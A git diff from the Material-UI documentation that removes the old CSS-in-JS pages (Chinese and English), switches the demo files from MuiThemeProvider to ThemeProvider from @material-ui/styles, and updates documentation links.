-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## 备选方案
-
-你认为[高阶组件是新的 mixins 吗](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)？ 请放心，我们不会这样做，但是因为 `withStyles()` 是一个更高阶的组件，所以只需要**少量几行代码**就可以扩展来匹配不同的模式。这些都是通用的React。 以下有几个例子：
-
-### Render props (+ 11 行)
-
-术语 [“render prop”](https://reactjs.org/docs/render-props.html) 指的是使用其值为函数的 prop 来在 React 组件之间共享代码的简单技术。
-
-```jsx
-//您将在演示源中找到`createStyled`实现。
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-您可以使用与`withStyles`相同的方式访问主题：
-
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211 ](https://github.com/jedwards1211)花时间将此模块移动到包中：[ material-ui-render-props-styles ](https://github.com/jcoreio/material-ui-render-props-styles)。 随意使用它。
-
-### styled-components API (+15 行)
-
-styled-components 的 API 删除了组件和样式之间的映射。 使用组件作为底层样式构造可以更简单。
-
-```jsx
-// 您将在演示中找到 `styled` 实现。
-// 你甚至可以用 https://github.com/cssinjs/jss-template 编写 CSS。
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-您可以使用与`withStyles`相同的方式访问主题：
-
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
\ No newline at end of file
diff --git a/docs/src/pages/customization/css-in-js/css-in-js.md b/docs/src/pages/customization/css-in-js/css-in-js.md
deleted file mode 100644
index a3cc7ee9910995..00000000000000
--- a/docs/src/pages/customization/css-in-js/css-in-js.md
+++ /dev/null
@@ -1,435 +0,0 @@
-# CSS in JS
-
-<p class="description">You can leverage our styling solution, even if you are not using our components.</p>
-
-> ⚠️ We are working on extracting the styling solution into it's own package: [`@material-ui/styles`](/css-in-js/basics/).
-It's an unstable project (alpha version).
-Hopefully, we will make it the default style implementation for the core components in Material-UI v4.
-
-Material-UI aims to provide strong foundations for building dynamic UIs.
-For the sake of simplicity, **we expose our styling solution to users**.
-You can use it, but you don't have to. This styling solution is [interoperable with](/guides/interoperability/) all the other major solutions.
-
-## Material-UI's styling solution
-
-In previous versions, Material-UI has used LESS, then a custom inline-style solution to write the style of the
-components, but these approaches have proven to be limited. Most recently, we have [moved toward](https://github.com/oliviertassinari/a-journey-toward-better-style)
-a *CSS-in-JS* solution. It **unlocks many great features** (theme nesting, dynamic styles, self-support, etc.).
-We think that it's the future:
-- [A Unified Styling Language](https://medium.com/seek-blog/a-unified-styling-language-d0c208de2660)
-- [The future of component-based styling](https://medium.freecodecamp.org/css-in-javascript-the-future-of-component-based-styling-70b161a79a32)
-- [Convert SCSS (Sass) to CSS-in-JS](https://egghead.io/courses/convert-scss-sass-to-css-in-js)
-
-So, you may have noticed in the demos what *CSS-in-JS* looks like.
-We use the higher-order component created by [`withStyles`](#api)
-to inject an array of styles into the DOM as CSS, using JSS. Here's an example:
-
-{{"demo": "pages/customization/css-in-js/CssInJs.js"}}
-
-## JSS
-
-Material-UI's styling solution uses [JSS](https://github.com/cssinjs/jss) at its core.
-It's a [high performance](https://github.com/cssinjs/jss/blob/next/docs/performance.md) JS to CSS compiler which works at runtime and server-side.
-It is about 8 kB (minified and gzipped) and is extensible via a [plugins](https://github.com/cssinjs/jss/blob/next/docs/plugins.md) API.
-
-If you end up using this styling solution in your codebase, you're going to need to *learn the API*.
-The best place to start is by looking at the features that each [plugin](https://cssinjs.org/plugins/) provides. Material-UI uses [few of them](#plugins).
-You can always add new plugins if needed with the [`JssProvider`](https://github.com/cssinjs/react-jss#custom-setup) helper.
-
-If you wish to build your own instance of `jss` **and** support *rtl* make sure you also include the [jss-rtl](https://github.com/alitaheri/jss-rtl) plugin.
-Check the jss-rtl [readme](https://github.com/alitaheri/jss-rtl#simple-usage) to learn how.
-
-## Sheets registry
-
-When rendering on the server, you will need to get all rendered styles as a CSS string.
-The `SheetsRegistry` class allows you to manually aggregate and stringify them.
-Read more about [Server Rendering](/guides/server-rendering/).
-
-## Sheets manager
-
-The sheets manager uses a [reference counting](https://en.wikipedia.org/wiki/Reference_counting) algorithm in order to attach and detach the style sheets only once per (styles, theme) couple.
-This technique provides an important performance boost when re-rendering instances of a component.
-
-When only rendering on the client, that's not something you need to be aware of. However, when rendering on the server you do. You can read more about [Server Rendering](/guides/server-rendering/).
-
-## Class names
-
-You may have noticed that the class names generated by our styling solution are **non-deterministic**,
-so you can't rely on them to stay the same. The following CSS won't work:
-```css
-.MuiAppBar-root-12 {
-  opacity: 0.6
-}
-```
-
-Instead, you have to use the `classes` property of a component to override them.
-On the other hand, thanks to the non-deterministic nature of our class names, we
-can implement optimizations for development and production.
-They are easy to debug in development and as short as possible in production:
-
-- development: `.MuiAppBar-root-12`
-- production: `.jss12`
-
-If you don't like this default behavior, you can change it.
-JSS relies on the concept of [class name generator](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-### Global CSS
-
-We provide a custom implementation of the class name generator for Material-UI needs:
-[`createGenerateClassName()`](#creategenerateclassname-options-class-name-generator).
-As well as the option to make the class names **deterministic** with the `dangerouslyUseGlobalCSS` option. When turned on, the class names will look like this:
-
-- development: `.MuiAppBar-root`
-- production: `.MuiAppBar-root`
-
-⚠️ **Be cautious when using `dangerouslyUseGlobalCSS`.**
-We provide this option as an escape hatch for quick prototyping.
-Relying on it for code running in production has the following implications:
-- Global CSS is inherently fragile. People use strict methodologies like [BEM](http://getbem.com/introduction/) to workaround the issue.
-- It's harder to keep track of `classes` API changes.
-
-⚠️ When using `dangerouslyUseGlobalCSS` standalone (without Material-UI), you should name your style sheets. `withStyles` has a name option for that:
-```jsx
-const Button = withStyles(styles, { name: 'button' })(ButtonBase)
-```
-
-## CSS injection order
-
-The CSS injected by Material-UI to style a component has the highest specificity possible as the `<link>` is injected at the bottom of the `<head>` to ensure the components always render correctly.
-
-You might, however, also want to override these styles, for example with styled-components.
-If you are experiencing a CSS injection order issue, JSS [provides a mechanism](https://github.com/cssinjs/jss/blob/master/docs/setup.md#specify-the-dom-insertion-point) to handle this situation.
-By adjusting the placement of the `insertionPoint` within your HTML head you can [control the order](http://cssinjs.org/js-api/#attach-style-sheets-in-a-specific-order) that the CSS rules are applied to your components.
-
-### HTML comment
-
-The simplest approach is to add an HTML comment that determines where JSS will inject the styles:
-
-```jsx
-<head>
-  <!-- jss-insertion-point -->
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### Other HTML element
-
-[Create React App](https://github.com/facebook/create-react-app) strips HTML comments when creating the production build.
-To get around the issue, you can provide a DOM element (other than a comment) as the JSS insertion point.
-
-For example, a `<noscript>` element:
-
-```jsx
-<head>
-  <noscript id="jss-insertion-point"></noscript>
-  <link href="..." />
-</head>
-```
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: document.getElementById('jss-insertion-point'),
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-### JS createComment
-
-codesandbox.io prevents the access to the `<head>` element.
-To get around the issue, you can use the JavaScript `document.createComment()` API:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const styleNode = document.createComment("jss-insertion-point");
-document.head.insertBefore(styleNode, document.head.firstChild);
-
-const generateClassName = createGenerateClassName();
-const jss = create({
-  ...jssPreset(),
-  // We define a custom insertion point that JSS will look for injecting the styles in the DOM.
-  insertionPoint: 'jss-insertion-point',
-});
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## JssProvider
-
-react-jss exposes a `JssProvider` component to configure JSS for the underlying child components.
-There are different use cases:
-- Providing a class name generator.
-- [Providing a Sheets registry.](/customization/css-in-js/#sheets-registry)
-- Providing a JSS instance. You might want to support [Right-to-left](/guides/right-to-left/) or changing the [CSS injection order](/customization/css-in-js/#css-injection-order).
-Read [the JSS documentation](http://cssinjs.org/js-api/) to learn more about the options available.
-Here is an example:
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { create } from 'jss';
-import { createGenerateClassName, jssPreset } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName();
-const jss = create(jssPreset());
-
-function App() {
-  return (
-    <JssProvider jss={jss} generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Plugins
-
-JSS uses the concept of plugins to extend its core, allowing people to cherry-pick the features they need.
-You pay the performance overhead for only what's you are using.
-Given `withStyles` is our internal styling solution, all the plugins aren't available by default. We have added the following list:
-- [jss-global](http://cssinjs.org/jss-global/)
-- [jss-nested](http://cssinjs.org/jss-nested/)
-- [jss-camel-case](http://cssinjs.org/jss-camel-case/)
-- [jss-default-unit](http://cssinjs.org/jss-default-unit/)
-- [jss-vendor-prefixer](http://cssinjs.org/jss-vendor-prefixer/)
-- [jss-props-sort](http://cssinjs.org/jss-props-sort/)
-
-It's a subset of [jss-preset-default](http://cssinjs.org/jss-preset-default/).
-Of course, you are free to add a new plugin. We have one example for the [`jss-rtl` plugin](/guides/right-to-left/#3--jss-rtl).
-
-## API
-
-### `withStyles(styles, [options]) => higher-order component`
-
-Link a style sheet with a component.
-It does not modify the component passed to it; instead, it returns a new component with a `classes` property.
-This `classes` object contains the name of the class names injected in the DOM.
-
-Some implementation details that might be interesting to being aware of:
-- It adds a `classes` property so you can override the injected class names from the outside.
-- It adds an `innerRef` property so you can get a reference to the wrapped component. The usage of `innerRef` is identical to `ref`.
-- It forwards *non React static* properties so this HOC is more "transparent".
-For instance, it can be used to defined a `getInitialProps()` static method (next.js).
-
-#### Arguments
-
-1. `styles` (*Function | Object*): A function generating the styles or a styles object.
-It will be linked to the component.
-Use the function signature if you need to have access to the theme. It's provided as the first argument.
-2. `options` (*Object* [optional]):
-  - `options.withTheme` (*Boolean* [optional]): Defaults to `false`. Provide the `theme` object to the component as a property.
-  - `options.name` (*String* [optional]): The name of the style sheet. Useful for debugging.
-    If the value isn't provided, it will try to fallback to the name of the component.
-  - `options.flip` (*Boolean* [optional]): When set to `false`, this sheet will opt-out the `rtl` transformation. When set to `true`, the styles are inversed. When set to `null`, it follows `theme.direction`.
-  - The other keys are forwarded to the options argument of [jss.createStyleSheet([styles], [options])](http://cssinjs.org/js-api/#create-style-sheet).
-
-#### Returns
-
-`higher-order component`: Should be used to wrap a component.
-
-#### Examples
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default withStyles(styles)(MyComponent);
-```
-
-Also, you can use as [decorators](https://babeljs.io/docs/en/babel-plugin-proposal-decorators) like so:
-
-```jsx
-import { withStyles } from '@material-ui/core/styles';
-
-const styles = {
-  root: {
-    backgroundColor: 'red',
-  },
-};
-
-@withStyles(styles)
-class MyComponent extends React.Component {
-  render () {
-    return <div className={this.props.classes.root} />;
-  }
-}
-
-export default MyComponent
-```
-
-### `createGenerateClassName([options]) => class name generator`
-
-A function which returns [a class name generator function](http://cssinjs.org/js-api/#generate-your-own-class-names).
-
-#### Arguments
-
-1. `options` (*Object* [optional]):
-  - `options.dangerouslyUseGlobalCSS` (*Boolean* [optional]): Defaults to `false`. Makes the Material-UI class names deterministic.
-  - `options.productionPrefix` (*String* [optional]): Defaults to `'jss'`. The string used to prefix the class names in production.
-  - `options.seed` (*String* [optional]): Defaults to `''`. The string used to uniquely identify the generator. It can be used to avoid class name collisions when using multiple generators.
-
-#### Returns
-
-`class name generator`: The generator should be provided to JSS.
-
-#### Examples
-
-```jsx
-import JssProvider from 'react-jss/lib/JssProvider';
-import { createGenerateClassName } from '@material-ui/core/styles';
-
-const generateClassName = createGenerateClassName({
-  dangerouslyUseGlobalCSS: true,
-  productionPrefix: 'c',
-});
-
-function App() {
-  return (
-    <JssProvider generateClassName={generateClassName}>
-      ...
-    </JssProvider>
-  );
-}
-
-export default App;
-```
-
-## Alternative APIs
-
-Do you think that [higher-order components are the new mixins](https://cdb.reacttraining.com/use-a-render-prop-50de598f11ce)? Rest assured we don't, however because `withStyles()` is a higher-order component, it can be extended with just a **few lines of code** to match different patterns that are all idiomatic React. Here are a couple of examples.
-
-### Render props API (+11 lines)
-
-The term [“render prop”](https://reactjs.org/docs/render-props.html) refers to a simple technique for sharing code between React components using a prop whose value is a function.
-
-```jsx
-// You will find the `createStyled` implementation in the source of the demo.
-const Styled = createStyled({
-  root: {
-    background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-    borderRadius: 3,
-    border: 0,
-    color: 'white',
-    height: 48,
-    padding: '0 30px',
-    boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-  },
-});
-
-function RenderProps() {
-  return (
-    <Styled>
-      {({ classes }) => (
-        <Button className={classes.root}>
-          {'Render props'}
-        </Button>
-      )}
-    </Styled>
-  );
-}
-```
-
-{{"demo": "pages/customization/css-in-js/RenderProps.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-```js
-const Styled = createStyled(theme => ({
-  root: {
-    backgroundColor: theme.palette.background.paper,
-  },
-}));
-```
-
-[@jedwards1211](https://github.com/jedwards1211) Has taken the time to move this module into a package: [material-ui-render-props-styles](https://github.com/jcoreio/material-ui-render-props-styles). Feel free to use it.
-
-### styled-components API (+15 lines)
-
-styled-components's API removes the mapping between components and styles. Using components as a low-level styling construct can be simpler.
-
-```jsx
-// You will find the `styled` implementation in the source of the demo.
-// You can even write CSS with https://github.com/cssinjs/jss-template.
-const MyButton = styled(Button)({
-  background: 'linear-gradient(45deg, #FE6B8B 30%, #FF8E53 90%)',
-  borderRadius: 3,
-  border: 0,
-  color: 'white',
-  height: 48,
-  padding: '0 30px',
-  boxShadow: '0 3px 5px 2px rgba(255, 105, 135, .3)',
-});
-
-function StyledComponents() {
-  return <MyButton>{'Styled Components'}</MyButton>;
-}
-```
-
-{{"demo": "pages/customization/css-in-js/StyledComponents.js"}}
-
-You can access the theme the same way you would do it with `withStyles`:
-```js
-const MyButton = styled(Button)(theme => ({
-  backgroundColor: theme.palette.background.paper,
-}));
-```
diff --git a/docs/src/pages/customization/default-theme/default-theme.md b/docs/src/pages/customization/default-theme/default-theme.md
index f8d1fd909005db..667bac1eae969d 100644
--- a/docs/src/pages/customization/default-theme/default-theme.md
+++ b/docs/src/pages/customization/default-theme/default-theme.md
@@ -2,15 +2,25 @@
 
 <p class="description">Here's what the theme object looks like with the default values.</p>
 
-{{"demo": "pages/customization/default-theme/DefaultTheme.js", "hideEditButton": true}}
+## Explore
 
-The theme normalizes implementation by providing default values for palette, dark and light types, typography, breakpoints, shadows, transitions, etc.
+Explore the documentation theme object:
 
-Tip: you can play with the theme object in your console too.
-**We expose a global `theme` variable on all the pages**.
+{{"demo": "pages/customization/default-theme/DefaultTheme.js", "hideEditButton": true}}
 
-Please take note that the documentation site is using a custom theme. As a result, the demos
-you see here might disagree with the values above.
+> Tip: you can play with the documentation theme object in **your console**.
+We expose a documentation `theme` variable on all the documentation pages.
+Please take note that the documentation site is using a custom theme.
 
 If you want to learn more about how the theme is assembled, take a look at [`material-ui/style/createMuiTheme.js`](https://github.com/mui-org/material-ui/blob/next/packages/material-ui/src/styles/createMuiTheme.js),
 and the related imports which `createMuiTheme` uses.
+
+## @material-ui/core/styles vs @material-ui/styles
+
+Material-UI styles are powered by the [@material-ui/styles](/css-in-js/basics/) npm package. It's a CSS in JS styling solution for React.
+This styling solution is [isolated](https://bundlephobia.com/result?p=@material-ui/styles), it has has no knowledge of the default Material-UI theme.
+To remove the need for injecting a theme in the React's context **systematically**, we are wrapping the style modules (`makeStyles`, `withStyles` and `styled`) with the default Material-UI theme:
+
+- `@material-ui/core/styles/makeStyles` wraps `@material-ui/styles/makeStyles`.
+- `@material-ui/core/styles/withStyles` wraps `@material-ui/styles/withStyles`.
+- `@material-ui/core/styles/styled` wraps `@material-ui/styles/styled`.
diff --git a/docs/src/pages/customization/overrides/DynamicThemeNesting.js b/docs/src/pages/customization/overrides/DynamicThemeNesting.js
index dd695561cc2d8e..4bd720984101ae 100644
--- a/docs/src/pages/customization/overrides/DynamicThemeNesting.js
+++ b/docs/src/pages/customization/overrides/DynamicThemeNesting.js
@@ -1,6 +1,7 @@
 import React from 'react';
 import Button from '@material-ui/core/Button';
-import { createMuiTheme, MuiThemeProvider } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import FormControlLabel from '@material-ui/core/FormControlLabel';
 import blue from '@material-ui/core/colors/blue';
 import Switch from '@material-ui/core/Switch';
@@ -30,7 +31,7 @@ class DynamicThemeNesting extends React.Component {
           }
           label="Blue"
         />
-        <MuiThemeProvider
+        <ThemeProvider
           theme={
             this.state.color === 'blue'
               ? {
@@ -49,7 +50,7 @@ class DynamicThemeNesting extends React.Component {
           <Button variant="contained" color="secondary">
             {'Theme nesting'}
           </Button>
-        </MuiThemeProvider>
+        </ThemeProvider>
       </React.Fragment>
     );
   }
diff --git a/docs/src/pages/customization/overrides/overrides.md b/docs/src/pages/customization/overrides/overrides.md
index 264ab432555f09..029ddfe491d514 100644
--- a/docs/src/pages/customization/overrides/overrides.md
+++ b/docs/src/pages/customization/overrides/overrides.md
@@ -17,10 +17,10 @@ You might need to change the style of a component for a specific implementation,
 The first way to override the style of a component is to use **class names**.
 Every component provides a `className` property which is always applied to the root element.
 
-This example uses the [`withStyles()`](/customization/css-in-js/#withstyles-styles-options-higher-order-component) higher-order
+This example uses the [`withStyles()`](/css-in-js/basics/#higher-order-component-api) higher-order
 component to inject custom styles into the DOM, and to pass the class name to the `ClassNames` component via its `classes` property.
 You can choose [any other styling solution](/guides/interoperability/), or even plain CSS to create the styles, but be sure to
-consider the [CSS injection order](/customization/css-in-js/#css-injection-order), as the CSS injected into the DOM
+consider the [CSS injection order](/css-in-js/advanced/#css-injection-order), as the CSS injected into the DOM
 by Material-UI to style a component has the highest specificity possible, since the `<link>` is injected at the bottom
 of the `<head />` to ensure the components always render correctly.
 
@@ -28,11 +28,11 @@ of the `<head />` to ensure the components always render correctly.
 
 ### Overriding with classes
 
-When the `className` property isn't enough, and you need to access deeper elements, you can take advantage of the `classes` property to customize all the CSS injected by Material-UI for a given component.
+When the `className` property isn't enough, and you need to access deeper elements, you can take advantage of the `classes` object property to customize all the CSS injected by Material-UI for a given component.
 The list of  classes for each
 component is documented in the **Component API** section.
 For instance, you can have a look at the [Button CSS API](/api/button/#css).
-Alternatively, you can always look at the [implementation details](https://github.com/mui-org/material-ui/blob/next/packages/material-ui/src/Button/Button.js).
+Alternatively, you can use the [browser dev tools](#using-the-dev-tools).
 
 This example also uses `withStyles()` (see above), but here, `ClassesNesting` is using `Button`'s `classes` prop to
 provide an object that maps the **names of classes to override** (style rules) to the **CSS class names to apply** (values).
@@ -46,7 +46,7 @@ Notice that in addition to the button styling, the button label's capitalization
 ### Using the dev tools
 
 The browser dev tools can save you a lot of time.
-The Material-UI's class names [follow a simple pattern](/customization/css-in-js/#class-names) in development mode:
+The Material-UI's class names [follow a simple pattern](/css-in-js/advanced/#class-names) in development mode:
 `Mui[component name]-[style rule name]-[UUID]`.
 
 Let's go back to the above demo. How can you override the button label?
@@ -239,4 +239,4 @@ Learn more about it in the [themes section](/customization/themes/#customizing-a
 
 You can also customize all instances of a component with CSS.
 We expose a `dangerouslyUseGlobalCSS` option to do so.
-Learn more about it in the [CSS in JS section](/customization/css-in-js/#global-css) of the documentation. It's very similar to how you would customize Bootstrap.
+Learn more about it in the [CSS in JS section](/css-in-js/advanced/#deterministic-class-names) of the documentation. It's very similar to how you would customize Bootstrap.
diff --git a/docs/src/pages/customization/themes/CustomStyles.js b/docs/src/pages/customization/themes/CustomStyles.js
index aac9cd8bd59b3b..7b3d755940d59c 100644
--- a/docs/src/pages/customization/themes/CustomStyles.js
+++ b/docs/src/pages/customization/themes/CustomStyles.js
@@ -1,7 +1,8 @@
 import React from 'react';
 import PropTypes from 'prop-types';
 import Checkbox from '@material-ui/core/Checkbox';
-import { createMuiTheme, MuiThemeProvider, withStyles } from '@material-ui/core/styles';
+import { createMuiTheme, withStyles } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import orange from '@material-ui/core/colors/orange';
 
 const styles = theme => ({
@@ -39,9 +40,9 @@ const theme = createMuiTheme({
 
 function CustomStyles() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <CustomCheckbox />
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/DarkTheme.js b/docs/src/pages/customization/themes/DarkTheme.js
index 7871ad301bf663..c1de0ccc1d28d3 100644
--- a/docs/src/pages/customization/themes/DarkTheme.js
+++ b/docs/src/pages/customization/themes/DarkTheme.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import WithTheme from './WithTheme';
 
 const theme = createMuiTheme({
@@ -10,9 +11,9 @@ const theme = createMuiTheme({
 
 function DarkTheme() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <WithTheme />
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/FontSizeTheme.js b/docs/src/pages/customization/themes/FontSizeTheme.js
index 6e3a4c9d05ec73..252767c6a5c01e 100644
--- a/docs/src/pages/customization/themes/FontSizeTheme.js
+++ b/docs/src/pages/customization/themes/FontSizeTheme.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Typography from '@material-ui/core/Typography';
 
 const theme = createMuiTheme({
@@ -11,9 +12,9 @@ const theme = createMuiTheme({
 
 function FontSizeTheme() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <Typography>body1</Typography>
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/OverridesCss.js b/docs/src/pages/customization/themes/OverridesCss.js
index 7487fa88c935f2..b068b2349534c6 100644
--- a/docs/src/pages/customization/themes/OverridesCss.js
+++ b/docs/src/pages/customization/themes/OverridesCss.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Button from '@material-ui/core/Button';
 
 const theme = createMuiTheme({
@@ -23,9 +24,9 @@ const theme = createMuiTheme({
 
 function OverridesCss() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <Button>Overrides CSS</Button>
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/OverridesProperties.js b/docs/src/pages/customization/themes/OverridesProperties.js
index b6fe6a0077cbab..63d2c4cb785365 100644
--- a/docs/src/pages/customization/themes/OverridesProperties.js
+++ b/docs/src/pages/customization/themes/OverridesProperties.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Button from '@material-ui/core/Button';
 
 const theme = createMuiTheme({
@@ -14,9 +15,9 @@ const theme = createMuiTheme({
 
 function OverridesProperties() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <Button>Overrides properties</Button>
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/Palette.js b/docs/src/pages/customization/themes/Palette.js
index 548d6d85bd7d83..8056ab0b109ed8 100644
--- a/docs/src/pages/customization/themes/Palette.js
+++ b/docs/src/pages/customization/themes/Palette.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { MuiThemeProvider, createMuiTheme } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import purple from '@material-ui/core/colors/purple';
 import Button from '@material-ui/core/Button';
 
@@ -12,10 +13,10 @@ const theme = createMuiTheme({
 
 function Palette() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <Button color="primary">Primary</Button>
       <Button color="secondary">Secondary</Button>
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/ThemeNesting.js b/docs/src/pages/customization/themes/ThemeNesting.js
index 4125de083c3d0a..d93d017b938010 100644
--- a/docs/src/pages/customization/themes/ThemeNesting.js
+++ b/docs/src/pages/customization/themes/ThemeNesting.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { createMuiTheme, MuiThemeProvider } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Checkbox from '@material-ui/core/Checkbox';
 import orange from '@material-ui/core/colors/orange';
 import green from '@material-ui/core/colors/green';
@@ -22,12 +23,12 @@ const innerTheme = createMuiTheme({
 
 function ThemeNesting() {
   return (
-    <MuiThemeProvider theme={outerTheme}>
+    <ThemeProvider theme={outerTheme}>
       <Checkbox defaultChecked />
-      <MuiThemeProvider theme={innerTheme}>
+      <ThemeProvider theme={innerTheme}>
         <Checkbox defaultChecked />
-      </MuiThemeProvider>
-    </MuiThemeProvider>
+      </ThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/ThemeNestingExtend.js b/docs/src/pages/customization/themes/ThemeNestingExtend.js
index 309d6bdfee3fc0..bff1bb1193b7bd 100644
--- a/docs/src/pages/customization/themes/ThemeNestingExtend.js
+++ b/docs/src/pages/customization/themes/ThemeNestingExtend.js
@@ -1,5 +1,6 @@
 import React from 'react';
-import { createMuiTheme, MuiThemeProvider } from '@material-ui/core/styles';
+import { createMuiTheme } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Checkbox from '@material-ui/core/Checkbox';
 import orange from '@material-ui/core/colors/orange';
 import green from '@material-ui/core/colors/green';
@@ -14,9 +15,9 @@ const outerTheme = createMuiTheme({
 
 function ThemeNestingExtend() {
   return (
-    <MuiThemeProvider theme={outerTheme}>
+    <ThemeProvider theme={outerTheme}>
       <Checkbox defaultChecked />
-      <MuiThemeProvider
+      <ThemeProvider
         theme={theme =>
           createMuiTheme({
             ...theme,
@@ -31,8 +32,8 @@ function ThemeNestingExtend() {
       >
         <Checkbox defaultChecked color="primary" />
         <Checkbox defaultChecked color="secondary" />
-      </MuiThemeProvider>
-    </MuiThemeProvider>
+      </ThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/docs/src/pages/customization/themes/TypographyTheme.js b/docs/src/pages/customization/themes/TypographyTheme.js
index 8ca115bee8d62f..ead7b6ca4ea38a 100644
--- a/docs/src/pages/customization/themes/TypographyTheme.js
+++ b/docs/src/pages/customization/themes/TypographyTheme.js
@@ -1,6 +1,7 @@
 import React from 'react';
 import PropTypes from 'prop-types';
